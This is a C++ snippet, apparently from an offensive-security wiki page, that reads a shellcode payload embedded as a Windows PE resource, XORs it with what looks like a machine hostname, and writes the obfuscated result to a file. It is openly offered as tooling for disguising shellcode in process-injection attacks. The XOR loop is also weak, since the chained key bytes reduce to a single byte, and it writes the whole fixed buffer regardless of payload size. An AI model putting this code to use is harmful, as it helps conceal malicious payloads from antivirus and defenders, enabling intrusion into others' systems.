Resource Encrypter

//ENCRYPTER

#include "Windows.h"
#include <iostream>
#include <fstream>
#include "resource.h"
#include <vector>
using namespace std;

int main()
{
    //https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
    //Solution Explorer > Resource Files > Add > Resource > edit code > location of shellcode.bin


    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"payload_bin");
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    HGLOBAL shellcode = LoadResource(NULL, shellcodeResource);
    //LPVOID pShellcode = LockResource(shellcodeResource);
    

    unsigned char eShellcode [261120];
    unsigned char fShellcode [261120];
    memcpy(&eShellcode, shellcode, shellcodeSize);
   
    string key = "DESKTOP-JNOLSF5";
   
    for (int ii = 0; ii < key.length(); ii++) {

        for (int i = 0; i < sizeof eShellcode; i++) {
            fShellcode[i] = eShellcode[i] ^ key[ii];
            eShellcode[i] = fShellcode[i];
        }
    }

    ofstream outfile("encrypt-resource.bin", ios::out | ios::binary);
    outfile.write((const char*)&fShellcode[0], sizeof(fShellcode));
    outfile.close();
}

https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources

Last updated

Was this helpful?